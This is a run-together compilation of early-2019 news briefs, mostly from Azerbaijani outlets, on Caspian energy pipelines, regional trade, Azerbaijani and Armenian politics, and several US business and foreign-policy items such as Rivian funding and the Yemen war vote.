The coordination center for the preparation and holding of the Caspian Economic Forum is also working on programs for holding international conferences, as well as the Caspian Exhibition of Innovative Technologies.

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Follow us on Twitter @AzerNewsAzDeputy Prime Minister Vu Duc Dam yesterday had a meeting with more than 70 scientists who are taking part in the 5 key scientific projects in Vietnam.

The first project is Researching and Preparing the National History Book Collection, including 25 volumes of the Vietnamese History, 5 volumes of the Vietnamese Chronicle, and the Database of the Vietnamese History.

The second one is Preparing 37 Volumes of the Vietnamese Encyclopedia, consisting of both the hard copy and online version.

The third is the Regional Geography of Vietnam to describe all 63 provinces and cities in the nation, along with their specific aspects.

The fourth project is Digitizing the Vietnamese Knowledge to connect various research results in order to improve research performance and provide necessary tools for other scientific projects while popularizing foundation knowledge to the general public.

The last one is Translating and Promoting Precious Eastern Values via Classical Literature Works, chaired by the Vietnam National University  Hanoi, to translate and explain in detail classical pieces on religion, philosophy, and politics.

According to the Deputy Prime Minister, the 5 projects are truly meaningful to the current and future Vietnamese generations. They totally support the governmental policies on developing science and education, culture and economics.

The projects have been carried out thanks to our rich historical heritage, our achievements of the 30-year renovation process, and our science-technology potential is gradually growing, the Deputy PM said

These projects have been attracting the concern and participation of many scientists in various fields, he added.

By LAM NGUYEN  Translated by Vien HongBy Trend

The Turkmen-German business forum is being held in Berlin on February 12-13, Trend reports referring to a source in the Union of Industrialists and Entrepreneurs of Turkmenistan.

The memorandums of mutual cooperation in the supply of agricultural equipment, the rational use of land and water resources, the training of specialists in the water sector and in other areas are planned to be signed on the sidelines of the event.

The purchase of agricultural equipment and the exchange of best practices between specialists of the Turkmen and German corresponding structures are designed to promote the further development of the domestic agro-industrial complex.

Cotton and wheat are strategic agricultural crops. The German companies make a significant contribution to the implementation of long-term projects in Turkmenistan. Among them are such companies as Siemens, Daimler, Claas, Dresser-Rand.

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Follow us on Twitter @AzerNewsAzBy Abdul Kerimkhanov

The volume of trade between China and Kyrgyzstan amounted to more than $ 2 billion in 2018, said the head of the department of statistics and trade of the National Statistics Committee Venera Mambetaliyeva at a press conference on February 12.

She noted that of these, $ 1.9 billion accounted for imports, and $ 61.2 million for exports. She added that the volume of imports increased by 30 percent, exports decreased by 38 percent compared to 2017.

As she said, ore and precious metals concentrate, cotton, raw wool, and animal skin are exported to China from Kyrgyzstan.

Kyrgyzstan exported honey for $ 776,000 in 2018, which increased by 6 percent compared with 2017, Mambetalieva concluded.

Diplomatic relations between China and Kyrgyzstan were established in 1992.

China has significantly expanded its economic ties with Kyrgyzstan and in general with Central Asia since this country and the region play a key role in the implementation of One Belt, One Way.

The authorities of China invested finances in the reconstruction of major highways, the construction of hydropower plants and the construction of gas pipelines in Kyrgyzstan.

Kyrgyzstan and China concluded more than 200 various bilateral agreements and arrangements at different levels. The sphere of joint economic interests is wide enough and concerns both the development of infrastructure projects and enterprises, as well as import and export trade.

More than 35,000 Chinese citizens entered Kyrgyzstan in 2018, and a year before - 41,000 Chinese.

The total amount of Chinese investments in state projects of Kyrgyzstan amounted to $ 2.2 billion, which were aimed at improving the road infrastructure and energy sector.

There are 397 Chinese and 170 Kyrgyz-Chinese joint ventures in Kyrgyzstan.

Tax revenues from large enterprises with Chinese investments in 2018 amounted to 3.8 billion soms ($54.4 million).

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Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94

Follow us on Twitter @AzerNewsAzBy Leman Mammadova

In 2018, about 34 million tonnes (255 million barrels) of crude oil were exported via the Baku-Tbilisi-Ceyhan main export oil pipeline, which was loaded into 327 tankers at the port of Ceyhan, Trend reports citing BP Azerbaijan.

The BTC pipeline operating since June 2006, transported more than 417 million tonnes (about 3.12 billion barrels) of crude oil so far and was loaded into the world market by loading 4085 tankers at the port of Ceyhan.

In 2018, BTC's operating costs totaled about $ 116 million, and substantial costs made about $ 41 million.

At present, the BTC pipeline mainly transports the Azeri-Chirag-Gunashli (ACG) oil and Shah Deniz condensate from Azerbaijan. In addition, other crude oil and condensate volumes, including Turkmen, Russian and Kazakh oil are transported via the pipeline.

It should be noted that oil production at Azeri-Chirag-Guneshli (ACG) blocks amounted to 213 million barrels, or 29 million tons in 2018.

ACG is the largest oil and gas field in the Caspian Sea, covering more than 432 square kilometers. Proven oil reserves of ACG block of oil and gas fields are estimated at 1.2 billion tons, while gas reserves make 350 billion cubic meters.

The oil produced from the ACG field is exported to the world markets through the Sangachal Terminal, mainly through the Baku-Tbilisi-Ceyhan oil pipeline and the West Stream Pipeline to Supsa.

The Baku-Tbilisi-Ceyhan oil pipeline has been established to ensure access to crude oil produced at ACG field in the Caspian Sea under the "Contract of the Century".

The length of the pipeline is 1,768 km, 443 km runs through Azerbaijan, 249 km - through Georgia and 1,076 km - through Turkey. Daily transport capacity of the pipeline is 1.2 million barrels.

The crude oil delivery to the first tanker at the Ceyhan terminal took place in the summer of 2006.

The first delivery of approximately 600,000 barrels of Azeri-Chirag-Guneshli (ACG) crude oil, transported through Azerbaijan, Georgia and Turkey, was loaded on the British Hawthorn tanker on June 4, 2006 and dispatched from the new Ceyhan Offshore Terminal. Being a strategic project, it is the first direct link between the Caspian Sea and the Mediterranean.

BTC Co. shareholders are BP (30.1 percent); SOCAR (25 percent); Chevron (8.9 percent); Equinor (8.71 percent); TPAO (6.53 percent); ENI (5 percent); Total (5 percent), ITOCHU (3.4 percent); INPEX (2.5 percent), Exon Mobile (2.5 percent), ONGC (2.36 percent).

This pipeline, which is considered to be the main artery of energy export in the region, has played an important role in the extraction of the Caspian Sea's rich energy resources and bringing them to the world markets.

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Leman Mammadova is AzerNews staff journalist, follow her on Twitter: @leman_888

Follow us on Twitter @AzerNewsAzBy Leman Mammadova

The Greek Minister of Environment and Energy Giorgos Stathakis granted the Interconnector Greece-Bulgaria (IGB Project) Installation Permit on the territory of the Hellenic Republic, ICGB AD (project company) told Trend.

The decision was made on February 7, said the company.

ThIs key permit is an important milestone, following the already issued Installation Act for the territory of the Hellenic Republic and the corresponding construction permit that was issued in Bulgaria in September 2017. This decision, together with the acquisition of the main land plots in the area of Komotini, is a precondition for the successful start of the IGBs construction on the territory of the Hellenic Republic, said ICGB AD.

The Independent Natural Gas System license (INGS license), which is expected to be issued by the Greek Regulator RAE in the second quarter of 2019, constitutes the last permitting step before the start of construction works, the company said.

The IGB project was supported by Greece and Bulgaria governments within Memorandum of Understanding signed in 2009.

The 185 kilometer interconnector is designed to transport 3 billion bcm per year of natural gas from Greece (Komotini) to Bulgaria (Stara Zagora) by 2021. Later, the capacity may reach 5 bcm per year.

Bulgaria through Bulgargaz EAD company has already concluded a contract with the Azerbaijani state-owned company SOCAR for the delivery of 1 billion cubic meters per year from the second phase of Shah Deniz gas field.

The development of this interconnector will allow the delivery of Azerbaijani gas to Bulgaria, which will contribute to 40 percent of Bulgaria's gas demand.

The total investment cost for the realization of the IGB interconnector amounts to 240 million euros. The European Union attaches great importance to this project and has allocated 46 million euros for its funding. The project will be financed through the European Energy Programme for Recovery (EEPR), which is centrally managed by the European Commission, in the amount of 45 million euros. The European Investment Bank (EIB) will also provide a loan of 110 million euros to BEH (and subsequently passed-on to ICGB AD). As many as 39 million euros come as a direct financial contribution from the Bulgarian State budget via the Bulgarian Operational Programme "Innovation and Competitiveness" 2014-2020 (OPIC).

IGB is a gas pipeline which will allow Bulgaria to receive Azerbaijani gas, in particular, the gas produced from Azerbaijan's Shah Deniz 2 gas and condensate field. IGB is expected to be connected to TAP, to create an alternative source to Russian gas flowing to Bulgaria.

TAP in turn is a part of the Southern Gas Corridor which provides for the transportation of 10 billion cubic meters of Azerbaijani gas from the Caspian region through Georgia and Turkey to Europe.

TAP shareholders include BP (20 percent), SOCAR (20 percent), Snam S.p.A. (20 percent), Fluxys (19 percent), Enagas (16 percent) and Axpo (5 percent).

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Leman Mammadova is AzerNews staff journalist, follow her on Twitter: @leman_888

Follow us on Twitter @AzerNewsAzBy Trend

The overall impact of the US anti-OPEC bill can be huge, and is politically and not economically motivated, Cyril Widdershoven, a Middle East geopolitical specialist and energy analyst, a partner at Dutch risk consultancy VEROCY and SVP MEA-Risk, told Trend.

Widdershoven noted that when looking at the current oil situation on the market, OPEC is behaving very positively for US consumers and producers, as there are still lower prices and stability in the market.

To now put legislation in place that will threaten the immunity of OPEC as a sovereign entity however could change the whole picture, the expert believes.

"US court case will for sure be met by extreme high repercussions by the so-called cartel members, especially by Saudi Arabia, UAE or Iraq. Iran is out of all, as this is also in the sanctions. By putting threats in court oil producing countries will be faced by immense fines or possible blockage to operate in US. This will not be taken lightly by all," said Widdershoven.

He said a potential outcome of this could be that OPEC producers, Saudi Arabia and UAE will cut export volumes to US to a minimum.

"OPEC could also try to hit back on the USA, particularly by putting more oil on the market, which would lower the price and hurt the 10s of 1000s of shale oil companies currently providing energy security or wealth in the US. Part of them are voters for Trump so this could be a boomerang," noted the expert.

A legal threat already could force OPEC producers to further cozy up to Russia, and look for more in-depth geopolitical, military and economic relations with non-US friends in Asia, according to Widdershoven.

"Be clear about the fact that a US court order blocking assets and operations of OPEC producers will have a detrimental effect on US oil, gas and other companies operating in these countries. Possible blockage or appropriation would be considered," he concluded.

US House of Representatives committee approved a bill on Feb.7 that would open up the Organization of the Petroleum Exporting Countries to antitrust lawsuits.

The House Judiciary Committee passed the bipartisan bill, known as the No Oil Producing and Exporting Cartels Act, or NOPEC, on a voice vote.

The legislation would change U.S. antitrust law to revoke the sovereign immunity that has long protected OPEC members from U.S. lawsuits. It allows the U.S. attorney general to sue the oil producers group or any of its members on grounds of collusion.

Versions of the bill have appeared without success in Congress for the past 20 years. The committee also approved a version of the bill last year by voice vote, but it never reached the full House for a vote.

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Follow us on Twitter @AzerNewsAzBy Trend

Azerbaijan will take part in joint military exercises with Turkey, which will be held in the Aegean Sea under the name "Mavi Vatan" (Blue Homeland), Trend reports via Turkish media.

A number of other European and Asian countries such as Bosnia and Herzegovina, Qatar, Germany and Italy will also take part in the naval exercises.

In total, 251 soldiers from 15 countries will take part in the military exercises.

The exact start date of the exercise has not been revealed.

Earlier military exercises were also conducted in the country's Kars province with the participation of several countries, including Azerbaijan.

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Follow us on Twitter @AzerNewsAzBy Trend

President of Azerbaijan Ilham Aliyev has arrived in Beylaganfor a visit.

The head of state laid flowers at the statue of national leader Heydar Aliyev in the center of the city of Beylagan.

Head of Beylagan Executive Authority Asif Aghayev informed President Ilham Aliyev of the work carried out in the district.

President Ilham Aliyev then gave relevant instructions.

***

As part of his visit to Beylagan , President of the Republic of Azerbaijan Ilham Aliyev has attended the inauguration of Mingachevir-Stansiya Mingachevir-Bahramtapa-Beylagan highway.

Chairman of the Board of Directors of Azerbaijan Highway State Agency Saleh Mammadov informed the head of state of the technical indicators of the road.

The road connects seven residential areas with a total population of 26,000 people.

The two and four-lane highway is 20.5km in length and 6-14 meters in width. Three bus stops and 78 traffic signs were installed along the highway. Four bridges were renovated over the road.

President Ilham Aliyev was also informed of the reconstruction project of Kabirli-Eyvazalilar-Birinji Ashigli-Alinazarli highway in Beylagan. The two-lane road is 39.4km in length and 6m in width. The road connects eight residential areas with a total population of 22,000 people.

The head of state cut the ribbon symbolizing the opening of Mingachevir-Stansiya Mingachevir-Bahramtapa-Beylagan highway.

***

President of the Republic of Azerbaijan Ilham Aliyev has attended the inauguration of Beylagan Olympic Sport Complex.

The president cut the ribbon symbolizing the opening of the complex, and then toured it.

Minister of Youth and Sport Azad Rahimov informed the president of the conditions created in the complex.

The construction of Beylagan Olympic Sport Complex started in 2018 and cost a total of 17.5 million manats. It is the 45th Olympic Sport Complex in the country. It occupies a total area of 2.6 hectares.

The complex features an 820-seat universal hall designed to host different sporting events, as well as table tennis, snooker, Martial arts, boxing, wrestling gyms and a swimming pool.

The complex also houses a 40-bed hotel.

After viewing Beylagan Olympic Sport Complex President Aliyev met with athletes and representatives of the district`s general public.

The president made a speech at the meeting.

Karate world champion Sahib Nasibov and Greco-Roman wrestling Honored Coach Kamil Farzaliyev thanked President Aliyev for his care and attention.

***

President of the Republic of Azerbaijan Ilham Aliyev has attended the opening of Museum of History and Local Lore in Beylagan after renovation.

The head of state cut the ribbon symbolizing the opening of the museum and viewed conditions created here.

The museum was built in 1981. The renovated two-storey building houses an exhibition hall, two administrative rooms, a 60-seat conference hall, and a 12-seat round table hall.

The museum features a total of 6,087 exhibits.

There are photo sections here depicting national leader Heydar Aliyev`s, and President Ilham Aliyev's visits to Beylagan.

President Ilham Aliyev then met with local residents in the park where the museum is located, and spoke with them.

***

President of the Republic of Azerbaijan Ilham Aliyev has attended the opening of the newly-renovated Beylagan-1 substation in Beylagan.

President Ilham Aliyev launched the 110/35/10 kV substation.

Acting chairman of Azerishig OJSC Vugar Ahmadov informed the head of state that Beylagan Electric Network supplies electricity to a total of 22,480 consumers, including 20,728 households.

The renovation of Beylagan-1 substation included among other measures the installation of two transformers each with a capacity of 25 MVA.

A modern-type control center in the Beylagan-1 substation and 35-10 kV closed distribution units were connected to Supervisory Control And Data Acquisition (SCADA).

***

President of the Republic of Azerbaijan, Commander-in-Chief Ilham Aliyev has viewed conditions created at a newly-built military unit of the Defense Ministry in Beylagan.

Minister of Defense Zakir Hasanov and Chief of the General Staff of the Armed Forces Najmaddin Sadikov reported to President, Commander-in-Chief Ilham Aliyev.

The head of state was informed that the construction of the military unit, which occupies an area of 13 hectares, started in 2017. The first phase of the construction has already been completed. The work is now ongoing under the second stage. The military unit has administrative, residential and technical buildings, a dormitory, a medical point and a canteen.

President Ilham Aliyev viewed conditions created at the canteen and dined together with the personnel of the military unit.

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Follow us on Twitter @AzerNewsAzBy Trend

The Minister of Defense of the Republic of Azerbaijan Colonel General Zakir Hasanov has sent letters of condolences to the Minister of National Defense of Turkey, Hulusi Akar, and Chief of the General Staff, Army General Yasar Guler, regarding the crash of the military helicopter in Cekmekoy District of Istanbul, Trend reports citing the press service of the Ministry of Defense of Azerbaijan.

"I am deeply shocked by the news of the death and injury of military personnel as a result of the helicopter crash in Cekmekoy District of Istanbul city of the fraternal Republic of Turkey.

Your grief is our grief too. I pray to Almighty Allah for the repose of the souls of the deceased, share the sorrow and grief of their relatives and express my deep condolences to their families. I wish a speedy recovery to all the wounded," said the letter.

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Follow us on Twitter @AzerNewsAzBy Trend

Azerbaijani President Ilham Aliyev has sent a letter of condolence to Turkish President Recep Tayyip Erdogan in connection with casualties caused by the collapse of a building and a helicopter crash in Istanbul.

I was deeply saddened by the news of casualties caused by the collapse of a building and a helicopter crash in Istanbul, reads the letter.

On the occasion of this tragedy, on my own behalf and on behalf of the people of Azerbaijan, I extend my deep condolences to you, the families and the loved ones of those who were killed and the brotherly people of Turkey, and wish the injured recovery. May those killed rest in peace!

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Follow us on Twitter @AzerNewsAzBy Trend

Implementation of the business strategy of the International Bank of Azerbaijan (IBA) will begin this year, executive director of the State Oil Fund of Azerbaijan (SOFAZ), Chairman of the IBA Supervisory Board Shahmar Movsumov told Trend Feb. 13.

He said that the preparation of the business strategy is underway with the involvement of an international consulting company.

The International Bank of Azerbaijan, founded in 1992, is at the stage of recovery since July 2015, which is associated with the preparation for the privatization of state-owned shares of the bank. To restore the bank's financial position, its distressed assets were transferred to the non-bank credit institution Aqrarkredit.

In exchange for distressed assets, the NBCO provides the IBA with liquid funds. At the same time, the restructuring of IBA's foreign obligations has recently been completed. Over 95 percent of the Bank's shares are owned by the government.

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Follow us on Twitter @AzerNewsAzBy Trend

Czech companies are ready to take part in the expansion of the Baku public transport system, Milan Ekert, Czech Ambassador to Azerbaijan, said at a news conference in Baku, Trend reports.

According to the ambassador, both ground transportation and the subway are included. Ekert also added that many of the Czech companies are ready to consider organizing joint production with Azerbaijani partners.

"There are some examples of such projects. One can mention the production of Tatra trucks at the Ganja Automobile Plant, the participation of the Moravia Steel a.s. company in the reconstruction of the Azerbaijani section of the North-South railway corridor," Ekert said.

Also, the ambassador continued, there are projects of cooperation in the field of defense, including the modernizing the fleet of Azerbaijans Czech-produced L-39 training aircraft.

Speaking about the Azerbaijani-Czech cooperation in 2018, the ambassador noted that, in terms of Azerbaijani-Czech bilateral relations, the past year can be called a year of the emergence of new dynamics, forming a basis for strengthening the strategic partnership between the countries.

The ambassador remarked that the trade turnover between Azerbaijan and the Czech Republic grew by 12 percent and reached 1.1 billion euros in 2018, with Azerbaijani exports to the Czech Republic growing by 15 percent and exceeding 1 billion euros. On the other hand, as noted by Ekert, the number of products exported from the Czech Republic to Azerbaijan dropped by 19 percent, making up 63 million euros.

"Thus, attracting Czech companies to enter the Azerbaijani market is one of the priorities of the Czech Embassy in Baku for the coming year," said the Czech ambassador.

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Follow us on Twitter @AzerNewsAzBy Trend

Companies in Azerbaijan often dont want to disclose the names of their owners, but such problems wont arise over time, said Azerbaijani Deputy Minister for Taxes Sahib Alakbarov, Trend reports.

He was speaking at the conference Support for the Implementation of Roadmap for Disclosing Information on Beneficial Law in the Extractive Industries of Azerbaijan.

Alakbarov noted that the disclosure of information about owners is very important for the countrys tax authorities.

The same conditions are created for everyone in Azerbaijan and there is healthy competition, so there is no point in concealing owners or companies turnover, the deputy minister said.

He stressed that one of the main tasks assigned to state structures by President of Azerbaijan Ilham Aliyev is to reduce the share of the shadow economy, adding that this initiative will help ensure transparency.

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Follow us on Twitter @AzerNewsAzBy Trend

The Friend of Small and Medium-sized Enterprises (Friend of SMEs) of the Agency for the Development of SMEs under Azerbaijans Economy Ministry has started operating in Azerbaijans Gabala district, Trend reports with reference to the ministry.

It was noted that this is the first Friend of the SMEs in the Sheki-Zagatala economic region, which, along with the Gabala district, will provide services to entrepreneurs operating in adjacent areas.

In this regard, at the event organized at the Congress Center in Gabala, Chairman of the Board of the Agency for the Development of SMEs Orkhan Mammadov spoke about the activities of the Agency and the services provided to SMEs, as well as about the Friend of SMEs, which is mechanism of supporting SMEs. It was stressed that, taking into account the Friend of SMEs in Gabala, there are a total of 12 such structures in nine cities and regions of Azerbaijan.

In the regions where the Friend of SMEs operates, the structure directly contacts with the subjects of micro, small and medium businesses, identifies and implements their development initiatives, potential opportunities, participates in the creation and development of new subjects of SMEs at all stages, as well as in the field of protection of the rights of entrepreneurs. Friends of SMEs regularly meet with entrepreneurs.

So far, more than 120 such meetings have been held. By inviting small and medium-sized businesses operating in Gabala and adjacent areas to actively cooperate with the Friend of SMEs, Mammadov brought to their attention that Friends of SMEs will also start operating in 2019 in other parts of the country. He said that along with this, the Agency continues to work on creating new support mechanisms.

Speaking at the event, head of the Gabala district executive power Sabuhi Abdullayev informed about the development work in the private sector area. He informed that the Friend of SMEs, like other state support mechanisms, would contribute to the development of entrepreneurship in the district.

Etibar Yusifov, deputy head of the Oghuz district executive power, noted the significance of this state mechanism for supporting entrepreneurs, aspiring businessmen from Oghuz and the surrounding areas. He urged entrepreneurs of Oghuz to use the services of the Friend of SMEs.

As part of the event, a presentation was held regarding the Friend of SMEs, which reflected detailed information on the activities of the structure and the services that will be provided to them, as well as answered questions from entrepreneurs.

Then the participants of the event visited the office of the Friend of the SMEs, located in the Heydar Aliyev Center in Gabala.

The entrepreneurs who spoke at the event expressed their gratitude to the Azerbaijani president for the consistent support provided to the private sector, in particular the development of SMEs.

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Follow us on Twitter @AzerNewsAzBy Mirsaid Ibrahimzade

The representatives of Azerbaijans Agency for the Development of Small and Medium-Sized Enterprises (SMEs) visited Moscow, Trend reports referring to the agency.

This visit has been right after the event organized at the Congress Center in Gabala.

During the visit, chairman of the agencys board of directors Orkhan Mammadov met with Minister, Head of Department for Foreign Economic Activity and International Relations, Moscow City Government Sergey Cheremin.

During the meeting, the sides stressed that they are interested in development of cooperation. The views on the issues of possible cooperation within the planned visit of the delegation led by Cheremin to Azerbaijan in the first half of 2019 were exchanged.

The experience of the Opora Russia organization in the development of small and medium-sized businesses is of interest to the agency. This statement was made at a meeting with Vice-President of the Opora Russia All-Russian Non-Governmental Organization of Small and Medium Business Nikolai Dunayev.

The issues of organizing the round table were discussed within the upcoming forum between Russia and Azerbaijan. The representatives of the organization were invited to Azerbaijan.

The opportunities for cooperation in the development of small and medium-sized businesses between Azerbaijan and Japan were discussed at the meeting with head of the Moscow office of the Japan Association for Trade between Russia and the Newly Independent States (ROTOBO) Daisuke Saito.

The information on the favorable business and investment sphere created for entrepreneurs in Azerbaijan was given.

The Small and Medium Business Development Agency under the Ministry of Economy of Azerbaijan was established by the decree of the President of Azerbaijan dated December 28, 2017. The presidential decree of June 26, 2018 approved the statute and structure of the Agency.

The task of the Agency is to ensure the succession of reforms, as well as the improvement of the business regulation system and the application of effective coordination, enhancing the role and competitiveness of small and medium-sized businesses in the country's economy, and the compliance of the management system in this area with modern requirements.

As a single structure with special powers, the Agency organizes, coordinates, evaluates and regulates the services provided by government agencies and organizations in this area through the SME houses.

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Follow us on Twitter @AzerNewsAzBy Trend

Over the past 24 hours, Armenian armed forces have 29 times violated the ceasefire along the line of contact between Azerbaijani and Armenian troops, the Azerbaijani Defense Ministry said Feb. 13, Trend reports.

The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, in 1992 Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts.

The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on withdrawal of its armed forces from the Nagorno-Karabakh and the surrounding districts.

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Follow us on Twitter @AzerNewsAzOpposition lawmakers accused Prime Minister Nikol Pashinian on Wednesday of showing contempt for their criticism of his governments five-year policy program debated by the Armenian parliament.

Pashinian responded sarcastically to some of the tough questions asked during the debate which began on Tuesday. He seemed particularly annoyed by deputies representing the opposition Bright Armenia Party (LHK), his erstwhile ally.

One of them, Arkady Khachatrian, challenged Pashinian to explain what critics see as a lack of socioeconomic targets and other details in the 70-page program.

Frankly, when I hear some questions and speeches from your faction I recall that famous joke about a lion, replied the prime minister.

The context of your questions makes me suspect that you are afraid of the programs implementation, rather than its non-implementation, he said after telling the joke on the parliament floor. If you are afraid of that, then you do the right thing.

Other LHK deputies hit back at Pashinian. Please do not scold the opposition because you, Mr. Prime Minister, are not the opposition politician Nikol Pashinian anymore and the opposition sitting here is not the former corrupt government, one of them, Ani Samsonian, said.

Another LHK parliamentarian, Gevorg Gorgisian, also denounced Pashinians answers spiced up with sarcasm, contempt and complaints.The governments speeches and program are leaving us with the impression that everything is done to dodge responsibility and blame its future failures on the people, charged Gorgisian. The [former ruling] Republicans were doing the same.

Gevorg Petrosian, a senior lawmaker from the other parliamentary opposition force, the Prosperous Armenia Party (BHK), also rebuked Pashinian.

Governments and authorities that dont care about the voice of the opposition eventually fail, said Petrosian. This is the shortest path to their destruction. And considering your answers given yesterday and today  Im starting to become a bit skeptical. Will you take anything said by the opposition into account or not?

BHK leader Gagik Tsarukian also criticized the program on Tuesday, saying that it is too vague. We cant vote for it unless it is amended, he told reporters.

Parliament speaker Ararat Mirzoyan, a top Pashinian ally, assured the opposition minority in the National Assembly that the government is open to discussing their proposals on its action plan. He said they can be submitted to Deputy Prime Minister Mher Grigorian.

The program says that the Armenian economy will grow by at least 5 percent annually thanks to government efforts to improve the business environment, spur exports and attract more foreign investment. It promises substantial decreases in poverty and unemployment.

Speaking in the parliament on Wednesday, Pashinian also touted his governments efforts to create a level playing field for all businesses and its plans to cut taxes. He said that will attract greater investments in the Armenian economy. He also reaffirmed his pledges to eliminate government corruption in the country.The United States has voiced its disapproval of Armenias decision to deploy noncombat military personnel to Syria with Russias support.

We recognize the desire of other nations to respond to the humanitarian situation in Syria, and we share the concerns about protecting religious minorities in the Middle East, the U.S. State Department said on Wednesday. However, we do not support any engagement with Syrian military forces, whether that engagement is to provide assistance to civilians or is military in nature.

Nor do we support any cooperation between Armenia and Russia for this mission. Russia has partnered with the Assad regime to slaughter civilians and trigger a humanitarian catastrophe.Russia continues to protect the Assad regime and its atrocities on a global stage, it added in a statement to Armenian media circulated by the U.S. Embassy in Yerevan.

The Armenian Defense Ministry sent 83 medics, demining experts and other servicemen to Syria last Friday. It said they will treat civilians and clear landmines in and around the war-ravaged city of Aleppo.

The ministry emphasized the humanitarian character of the mission which it said had been requested by Syrian President Bashar al-Assads government.

The deployment coincided with talks held by Russian Defense Minister Sergey Shoygu and his Armenian counterpart Davit Tonoyan in Moscow. Shoygu thanked Yerevan for its humanitarian assistance to Syria.

Armenias plans for such a mission were first announced by Prime Minister Nikol Pashinian in September in Moscow following a meeting with Russian President Vladimir Putin.

John Bolton, the U.S. national security adviser, discussed the issue with Pashinian and Tonoyan when he visited Yerevan in October.

The prime minister said this was not going to be military assistance, it would be purely humanitarian, Bolton said after the talks. I think thats important. It would be a mistake for anybody else to get involved militarily in the Syrian conflict at the moment.

Tonoyan defended the Armenian deployment in Syria on Tuesday. What is more, he said Yerevan could also consider sending combat troops there.

However, Pashinian seemed to rule out such a possibility on Wednesday. We have no such plans, he said in the Armenian parliament, commenting on the defense ministers statement.

Meanwhile, a senior lawmaker from Pashinians My Step alliance downplayed the U.S. reaction to the dispatch of Armenian servicemen to Syria.

I think that this message was addressed to Russia, especially against the background of the U.S. promising or planning to pull its troops out of Syria, Hovannes Igitian told 1in.am. Igitian expressed confidence that the issue will not damage U.S.-Armenian relations.

A senior Pentagon official said late last month that she will visit Yerevan soon to explore the possibility of stepping up U.S.-Armenian military cooperation. Laura Cooper, a U.S. deputy assistant secretary of defense, praised the South Caucasus state allied to Russia for contributing troops to the NATO-led missions in Kosovo and Afghanistan.Let's call it: Neither SoftBank nor Saudi Arabia will face any significant U.S. investment losses over the murder of journalist Jamal Khashoggi.

Driving the news: Axios has learned from multiple sources that San Francisco-based freight logistics startup Flexport is in talks to raise around $500 million in a SoftBank-led deal. One source puts the pre-money price talk at around $3 billion (another dissents), which could mean the final investment is smaller if either side becomes concerned about CFIUS approvals (which I'd think they would). [Update: A source closer to the situation puts the pre-money closer to $2 billion]

Last week, Silicon Valley-based robotic delivery vehicle-maker Nuro raised $940 million from SoftBank Vision Fund.

The Saudi sovereign wealth fund is now so confident that it's planning to open investment offices in U.S. cities like New York and San Francisco.

Between the lines: Just to make it crystal clear, Colony Capital CEO Tom Barrack yesterday joked about the murder from a conference stage in Dubai, arguing that U.S. concerns were a "misunderstanding" about the rule of law in Saudi Arabia. Unclear if Barrack realizes that Khashoggi was killed in Turkey.

Flashback ... The companies who have backed away from Saudi business over KhashoggiAmazon and GM are in talks to invest in electric-truck maker Rivian Automotive in a deal that would value the Michigan start-up at between $1 billion and $2 billion, Reuters is reporting.

Why it matters: Rivian made a splashy debut last November with 2 new rugged battery-powered models  a pickup truck and a 7-passenger SUV. But it's the electric, semi-automated chassis underpinning those models that has likely attracted the interest of Amazon and GM.

Details: Rivian intends to market its own brand of trucks  as many as six models some day  but from the beginning, it has been plotting a B2B strategy to share its technology with other companies.

Rivian's battery-powered "skateboard" platform can scale up or down and is designed to be modular, so it can accommodate many types of vehicles, from pod cars to delivery trucks and even snowmobiles.

It includes four wheel-mounted motors that provide torque and maneuverability.

The digital architecture will support fully self-driving technology (Level 4).

What we're hearing: In an interview with Axios last October, Rivian founder RJ Scaringe mused about companies like Amazon, Starbucks or Apple launching their own mobility fleets on top of a generic platform.

At the time, he said the company was in talks with six potential strategic investors, both tech giants and automakers, that he wouldn't name.

In an emailed statement, GM would only say: We admire Rivians contribution to a future of zero emissions and an all-electric future.

Amazon has also invested in self-driving car startup Aurora, in a $530 million funding round announced last week.

Where it stands: Rivian has raised $500 million to date, mostly from Dubai-based conglomerate Abdul Latif Jameel, a big Toyota and Lexus distributor with ties to MIT, Scaringe's alma mater.

He already has a factory: Rivian purchased a 2.6 million-square-foot manufacturing plant in Normal, Ill., after Mitsubishi ceased operations there in 2016.

What to watch: If the negotiations conclude successfully, a deal could be announced as early as this month, Reuters says, citing unnamed sources.Signs referring to the government of Macedonia came down Monday in Skopje as the country transitions to its new name: North Macedonia.

Skopje, North Macedonia. Photo: Robert Atanasovski/AFP/Getty Images

Driving the news: Following bruising political battles on both sides of the border, the Greek parliament upheld its end of the bargain on Friday by backing North Macedonias NATO accession. As the Greek parliament was debating, Bujar Osmani, North Macedonias deputy prime minister in charge of European integration, was in Washington at the German Marshall Fund.

I think that we got the last train, Osmani told reporters, referring to the deal. The region and the world geopolitically is becoming very dynamic. And I think it was the last momentum for us to define the geopolitics in the region  that the region belongs to NATO, belongs to the Euro-Atlantic family of values.

Background: Macedonia is also a province in Greece, and a proud piece of the country's history. Osmani said the dispute hardened over Macedonias 27-year history, but negotiators came to realize a deal was possible because the Greeks were more concerned with the name of the country, while Macedonians were more worried about the Macedonian language and identity.

Osmani said North Macedonia's NATO accession should be expedited given the long delay (Greece had previously vetoed Macedonias membership) and the fact that every single day  gives a day more for those adversaries whod like to compromise the process  namely Russia.

Whats next: North Macedonia also hopes to join the EU. It could face opposition on that front from a future Greek government, or leaders across Europe who reject the idea of further EU expansion. Osmani, meanwhile, said the lesson here should be that the European idea is still alive. It is powerful. It can transform regions and societies.The House overwhelmingly approved legislation Wednesday that would force the Trump administration to withdraw U.S. military support for the Saudi-led war in Yemen.

Why it matters: The bill, which passed 248-177 and now heads to the Senate, is a rebuke of President Trump's foreign policy amid broader pushback over his defense of Saudi Arabia, whose role in the conflict has been under heightened scrutiny since the murder of journalist Jamal Khashoggi. The Senate passed a parallel resolution 56-41 in December, but a blocked vote by House Republicans prevented it from ever reaching the floor of the House.The House Homeland Security Committee has finished the first of two panels of election cybersecurity hearings Wednesday, a sign of the Democratic majority's priorities.

Why it matters: While a Republican Senate had been on board with providing new election security funding to the states during the last Congress, the Republican majority in the House had thwarted that push.

"This hearing is long overdue," noted Homeland chair Bennie Thompson (D-Miss.) in his opening remarks.

Details: The hearings are intended in part to bolster House Resolution 1, the sweeping anti-corruption bill that contains several election security provisions, including funding and formalizing strategy.

Republicans view the provisions as too broad.

